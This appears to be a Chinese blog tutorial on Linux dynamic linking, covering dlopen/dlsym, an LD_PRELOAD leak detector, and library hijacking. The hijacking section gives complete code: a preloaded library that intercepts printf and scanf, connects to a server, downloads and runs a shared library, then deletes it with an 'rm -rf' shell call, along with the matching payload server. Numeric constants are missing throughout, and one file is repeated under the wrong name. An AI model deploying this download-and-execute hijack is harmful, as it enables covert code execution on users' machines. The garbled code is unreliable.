• 如何使用动态链接库

Linux下打开使用动态链接库需要三步(实际上和windows下基本一样):
1.加载动态链接库,通过调用库函数dlopen()获得链接库的句柄,对应于windows下的 AfxLoadLibrary函数

    //参数一filename是.so文件路径
//参数二flag指定解析符号的时间点等
//返回值是链接库的句柄
void *dlopen(const char *filename, int flag);

2.从句柄中获取函数符号加载的内存地址,通过调用dlsym函数返回函数地址,对应于windows下的GetProcAddress函数

   //参数一handle是dlopen获得的句柄
//参数二symbol是函数符号
//返回值为函数加载在内存的地址
void *dlsym(void *handle, const char *symbol);

3.卸载链接库,通过调用dlclose函数释放资源,对应于windows下的AfxFreeLibrary函数

   int dlclose(void *handle);

Linux下编写第一个动态链接库hello.so

 #include <stdio.h>

 void *hello(void *input) {
printf("hello from a .so\n");
return NULL;
}

hello.c

编译命令:

  gcc -shared -fPIC hello.c -o hello.so
  -shared 指定生成共享库
-fPIC 指定生成位置无关代码

动态加载hello.so的过程如下

 #include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <dlfcn.h> typedef void *(*FUNC)(void *); void load_and_invoke(char *libname, char *funcname) { FUNC func = NULL;
char *error = NULL;
void * handle = dlopen(libname,RTLD_LAZY); //加载链接库 if(!handle){
fprintf(stderr,"%s\n",dlerror());
exit(EXIT_FAILURE);
} dlerror(); *(void **)(&func) = dlsym(handle,funcname); //获取符号地址 if((error = dlerror()) != NULL){
fprintf(stderr,"%s\n",error);
exit(EXIT_FAILURE);
} func(NULL); //执行函数 dlclose(handle); //卸载链接库
exit(EXIT_FAILURE);
} int main(int argc, char **argv) { load_and_invoke("./hello.so", "hello");
}

main.c

编译命令:

gcc main.c -o main -ldl

运行:

  • 应用一 内存泄漏检测

动态链接库除了让程序更新方便,提高运行效率外,还可移使用dll注入的方式实现类似于valgrind的内存检测工具。
原理:通过注入的方式让用户程序调用的malloc,free等内存操作函数最终调用本程序实现的malloc与free函数,在自己实现的函数中记录用户每次对内存的申请与撤销操作,分析是否有内存泄露,具体原理参考codeproject上的一篇文章 C++ Memory Leak Finder
libmem.c实现malloc,free函数

 #include <stdint.h>
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <execinfo.h> //一些辅助函数,使用stl map记录内存申请与回收
int map_insert(void * pointer, char *module);
int map_remove(void * pointer);
int map_count();
void map_dump(); const static int max_frame_depth = ;
static int mutex = ; //指定__attribute__((constructor))保证init函数在链接库被加载内存后自动调用
__attribute__((constructor)) void init(void);
//指定__attribute__((destructor))保证deinit函数在链接库在卸载前自动调用
__attribute__((destructor)) void deinit(void); //GLIBC中的malloc函数
static void *(*sys_malloc)(size_t) = NULL;
//GLIBC中的free函数
static void (*sys_free)(void *) = NULL; //链接库加载后,调用init获取malloc与free地址
void init(void){
sys_malloc = (void *(*)(size_t))dlsym(RTLD_NEXT,"malloc");
if(sys_malloc == NULL){
fprintf(stderr,"failed to read malloc function;\n");
exit(EXIT_FAILURE);
} sys_free = (void (*)(void *))(dlsym(RTLD_NEXT,"free"));
if(sys_free == NULL){
fprintf(stderr,"failed to read free function;\n");
exit(EXIT_FAILURE);
}
} //链接库卸载前,打印内存申请与释放记录
void deinit(void){
printf("%d unfreed allocations found\n",map_count());
map_dump();
} void *malloc(size_t size){ if(sys_malloc == NULL){
init();
} void *ptr = sys_malloc(size); //backtrace函数可能需要使用malloc函数,有可能造成循环调用,
//因此需要使用静态变量mutex防止死循环
if(mutex == ){
mutex = ; void *frames[max_frame_depth];
//通过backtrace获取当前函数调用栈信息
size_t stack_size = backtrace(frames,max_frame_depth);
char ** stacktrace = backtrace_symbols(frames,stack_size); //这里只记录了一帧信息
map_insert((void *) ptr,stacktrace[]); sys_free(stacktrace); mutex = ;
} return ptr;
} void free(void * ptr){
if(sys_free == NULL){
init();
} if(mutex == ){
mutex = ; if(map_remove((void *) ptr) == ){ //double remove
sys_free((void *)ptr);
} mutex = ;
}
}

libmem.c

libmem.c中调用了记录内存分配回收信息的辅助函数

 #include <stdint.h>
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <execinfo.h> //一些辅助函数,使用stl map记录内存申请与回收
int map_insert(void * pointer, char *module);
int map_remove(void * pointer);
int map_count();
void map_dump(); const static int max_frame_depth = ;
static int mutex = ; //指定__attribute__((constructor))保证init函数在链接库被加载内存后自动调用
__attribute__((constructor)) void init(void);
//指定__attribute__((destructor))保证deinit函数在链接库在卸载前自动调用
__attribute__((destructor)) void deinit(void); //GLIBC中的malloc函数
static void *(*sys_malloc)(size_t) = NULL;
//GLIBC中的free函数
static void (*sys_free)(void *) = NULL; //链接库加载后,调用init获取malloc与free地址
void init(void){
sys_malloc = (void *(*)(size_t))dlsym(RTLD_NEXT,"malloc");
if(sys_malloc == NULL){
fprintf(stderr,"failed to read malloc function;\n");
exit(EXIT_FAILURE);
} sys_free = (void (*)(void *))(dlsym(RTLD_NEXT,"free"));
if(sys_free == NULL){
fprintf(stderr,"failed to read free function;\n");
exit(EXIT_FAILURE);
}
} //链接库卸载前,打印内存申请与释放记录
void deinit(void){
printf("%d unfreed allocations found\n",map_count());
map_dump();
} void *malloc(size_t size){ if(sys_malloc == NULL){
init();
} void *ptr = sys_malloc(size); //backtrace函数可能需要使用malloc函数,有可能造成循环调用,
//因此需要使用静态变量mutex防止死循环
if(mutex == ){
mutex = ; void *frames[max_frame_depth];
//通过backtrace获取当前函数调用栈信息
size_t stack_size = backtrace(frames,max_frame_depth);
char ** stacktrace = backtrace_symbols(frames,stack_size); //这里只记录了一帧信息
map_insert((void *) ptr,stacktrace[]); sys_free(stacktrace); mutex = ;
} return ptr;
} void free(void * ptr){
if(sys_free == NULL){
init();
} if(mutex == ){
mutex = ; if(map_remove((void *) ptr) == ){ //double remove
sys_free((void *)ptr);
} mutex = ;
}
}

hash.cpp

把 libmem.c编译成动态链接库libmem.so,导出环境变量LD_PRELOAD=path/to/libmem.so,动态链接库的查找和加载 是由/lib/ldd.so实现,LD_PRELOAD路径中的库会在标准路径之前被查找到,这样任何使用malloc,free函数的程序都会调用 libmem.so中的malloc与free,从而实现内存泄漏的检测。关于LD_PRELOAD变量,可以查看警惕UNIX下的LD_PRELOAD环境变量关于windows下dll搜索路径可以参考Dynamic-Link Library Search Order

为了测试,我们编写了一个存在内存泄漏的程序

memleak.c

编译与运行:

  • 应用二 dll劫持漏洞

与内存检测程序原理类似,dll搜索路径的先后顺序如果不小心,很有可能被恶意利用。恶意程序要做的是编写一个与正常应用链接库文件名相同,实现同样的函数(函数名参数类型与个数相同)的链接库,把它放在当前路径或者进程路径等在优先级在正常dll之前的路径上,就可以让正常应用主动去执行一些恶意代码。

下面是通过劫持scanf,printf函数实现攻击的例子,正常的应用程序只要调用了scanf,printf,便会激活恶意代码.恶意代码连接服务器并下载真正危险的代码执行,而且恶意代码可以在执行后删除自己并完成用户正常的功能以达到隐藏自己的目的。

劫持GLIBC的printf与scanf的代码

 #include <stdint.h>
#include <stdarg.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <arpa/inet.h> static void (*sys_vprintf)(const char *format,...) = NULL;
static int (*sys_vscanf)(const char *format,...) = NULL;
static int count = ; #define MAXLINE 4096 static void init(void){
sys_vprintf = (void (*)(const char *format,...))dlsym(RTLD_NEXT,"vprintf");
if(sys_vprintf == NULL){
exit(EXIT_FAILURE);
} sys_vscanf = (int (*)(const char *format,...))dlsym(RTLD_NEXT,"vscanf");
if(sys_vscanf == NULL){
exit(EXIT_FAILURE);
}
} static void deinit(void){
;
} #define FILE_NAME "libexploit_download.so"
#define FUNC_NAME "exploit" //执行从服务器下载的代码
void load_and_exec(char *libname,char *funcname){ void *handle = dlopen(libname,RTLD_LAZY);
if(!handle){
return;
} void (*func)(void);
*(void ** )(&func) = dlsym(handle,funcname); if(func == NULL){
return;
} func(); dlclose(handle);
} //删除下载的代码
void remove(char *filename){
char buff[MAXLINE];
strcpy(buff,"rm -rf ");
strcat(buff,filename);
system(buff);
} //恶意程序客户端从服务器下载恶意代码并执行
static void client(){
int sockfd,n;
char buff[MAXLINE + ];
struct sockaddr_in servaddr; if((sockfd = socket(AF_INET,SOCK_STREAM,)) < ){
return;
} bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
char *serv_addr = "127.0.0.1"; //服务器地址
char *serv_port = ""; //服务器端口
servaddr.sin_port = htons(atoi(serv_port));
if(inet_pton(AF_INET,serv_addr,&servaddr.sin_addr) <= ){
return;
} if(connect(sockfd,(struct sockaddr *)&servaddr,sizeof(servaddr)) < ){
return;
} write(sockfd,"start",strlen("start")); int fd = open(FILE_NAME,O_RDWR | O_CREAT | O_EXCL,S_IRUSR | S_IWUSR);
if(fd == -){
return;
} int nRead;
while((nRead = read(sockfd,buff,MAXLINE)) != ){
write(fd,buff,nRead);
}
close(fd);
close(sockfd); load_and_exec(FILE_NAME,FUNC_NAME); remove(FILE_NAME);
exit();
} void printf(const char *fmt,...){
if(sys_vprintf == NULL){
init();
} client(); //恶意代码开始执行与服务器通信 char buff[MAXLINE]; va_list vl;
va_start(vl,fmt);
sys_vprintf(fmt,vl);
va_end(vl);
} int scanf(const char *fmt,...){
if(sys_vscanf == NULL){
init();
} client(); va_list vl;
va_start(vl,fmt);
int cnt = sys_vscanf(fmt,vl);
va_end(vl);
return cnt;
}

libio.c

被攻击的代码示例

 #include <stdio.h>

 #define MAXLINE 4096

 int
main()
{
char buff[MAXLINE]; while(scanf("%s",buff) != ){
printf("you've typed : %s\n",buff);
}
}

target.c

编译过程:

服务器端代码server.c

 #include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h> #define MAXLINE 4096
#define LISTENQ 1024 void serve(int port,char *filename) { int listenfd,connfd;
struct sockaddr_in servaddr;
char buff[MAXLINE];
char outBuff[MAXLINE]; listenfd = socket(AF_INET,SOCK_STREAM,);
if(listenfd < ){
return;
} bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(port); if(bind(listenfd,(struct sockaddr *)&servaddr,sizeof(struct sockaddr)) < ){
return;
} if((listen(listenfd,LISTENQ)) < ){
return;
} for(;;){
if((connfd = accept(listenfd,(struct sockaddr *)NULL,NULL)) < ){
continue;
} int n = read(connfd,buff,MAXLINE);
buff[n] = '\0'; if(strcmp(buff,"start") == ){
printf("ready...\n");
FILE *fp = fopen(filename,"r");
if(fp == NULL){
fprintf(stderr,"file open error\n");
} while((n = fread(buff,,MAXLINE,fp)) != ){
if(write(connfd,buff,n) != n){
fprintf(stderr,"write error\n");
}
}
} if(close(connfd) == -){
return;
}
exit();
} } int main(int argc, char **argv) { int port = ;
char *filename = "./libexploit.so"; serve(port,filename); exit();
}

server.c

真正执行攻击的代码:

 #include <stdio.h>
#include <string.h> void exploit() {
const char* msg = "you have been hacked\n";
fwrite(msg, sizeof(char), strlen(msg), stdout);
}

libexploit.c

编译服务端代码:

最后效果:

Linux 动态链接库 - dll劫持的更多相关文章

  1. Linux 动态链接库

    如何使用动态链接库 Linux下打开使用动态链接库需要三步(实际上和windows下基本一样):1.加载动态链接库,通过调用库函数dlopen()获得链接库的句柄,对应于windows下的 AfxLo ...

  2. 原创QQ影音DLL劫持漏洞+动画实战教程

    1.什么是DLL DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型.在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成 ...

  3. dll劫持技术

    DLL劫持技术当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中. DLL劫持原理 ...

  4. 动态链接库dll,导入库lib,静态链接库lib

    目前以lib后缀的库有两种,一种为静态链接库(Static Libary,以下简称“静态库”),另一种为动态连接库(DLL,以下简称“动态库”)的导入库(Import Libary,以下简称“导入库” ...

  5. 老树开新花:DLL劫持漏洞新玩法

    本文原创作者:丝绸之路 <img src="http://image.3001.net/images/20150921/14428044502635.jpg!small" t ...

  6. Dll劫持漏洞详解

      一.dll的定义 DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型.在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分 ...

  7. 36.浅谈DLL劫持

    最近在搞内网,需要实现免杀后门,大佬推荐了dll劫持,DLL劫持后,能干很多事情,比如杀软对某些厂商的软件是实行白名单的,你干些敏感操作都是不拦截,不提示的.还有留后门,提权等等.本文主要介绍如何检测 ...

  8. 可执行Jar包调用动态链接库(DLL/SO)

    踩过了很多的坑,查了很多资料,在此记录一下,以SpringBoot项目为基础. Maven加入JNA依赖 <!-- JNA start --> <dependency> < ...

  9. DLL劫持技术例子: HijackDll

    控制台程序:DllLoader Dll加载器,用于动态加载目标Dll,并动态调用目标函数 #include <cstdio> #include <windows.h> type ...

随机推荐

  1. Python各种图像库的图像的基本读写方式

    目前主流的图像库有几下几种: 1. OpenCV      2. PIL(Pillow)       3. matplotlib.image     4. skimage      5. scipy. ...

  2. 代码生成器——实现生成pojo,sql,mapper接口

    代码生成器(记录一次兴趣代码,多多指教.转载请标明作者) 在我们开始实现代码生成器之前我们先来对代码生成器有一个简单的了解. 1.什么是代码生成器? 故名思义,也就是生成代码的一个程序.那它是一个什么 ...

  3. 他山之石,calling by share——python中既不是传址也不是传值

    事情是这样的,Python里是传址还是传值令人疑惑,限于本人没有C基础,所以对大家的各类水平层次不一的解答难以确信. 第一个阶段: 在读<python基础教程第二版>的时候感到疑惑,然后群 ...

  4. Hadoop入门

    一.Hadoop是什么 1)Hadoop是一个由Apache基金会所开发的分布式系统基础架构. 2)Hadoop主要解决,海量数据的存储和海量数据的分析计算问题. 3)广义上来说,Hadoop通常是指 ...

  5. 《Java8实战》读书笔记

    个人感悟: 1.lambda表达式,补充了JAVA在面向对象之外,面向过程的一面.在写面向过程代码的时候更方面了,甚至可以利用代码来做类似数学公式的运算(P64) 2.流,对集合的操作,就像用SQL对 ...

  6. Axure文本框验证和外部url的调用

    文本框的验证和外部url的调用: 场景: 当输入文本框中的内容是满足下面条件时:输入4-10的数字,页面会跳转到QQ注册(https://ssl.zc.qq.com/v3/index-chs.html ...

  7. js在数组中查找是否存在某一个数值

    目前想到的方法有这么几个 1.indexOf()  -> ES5 const array = ['apple', 'banance', 'orange'] array.indexOf('appl ...

  8. numpy 数组索引数组

    在numpy中,数组除了可以被整数索引,还可以被数组索引. a[b]就是已数组b的元素为索引,读取数组a的值. 当被索引数组a是一维数组,b是一维或则多维数组时,结果维度维度与索引数组b相同. a = ...

  9. Petrozavodsk Winter Camp, Day 8, 2014, Ship

    $dp(i,j)$表示i-j这段还没运走时的状态,包括 运输了多少次,还剩多少空间 每次枚举运输左边还是右边转移 #include <bits/stdc++.h> #define rep( ...

  10. Linux 配置ssh 免密码登录

    在平常应用中,我们经常会登录到其他主机,比如说服务器,每次都需要用户名和密码. 我们可以通过ssh免密码登录服务器而不需要输入密码. 现在有一台ubuntu的阿里云服务器,称之为 server.  公 ...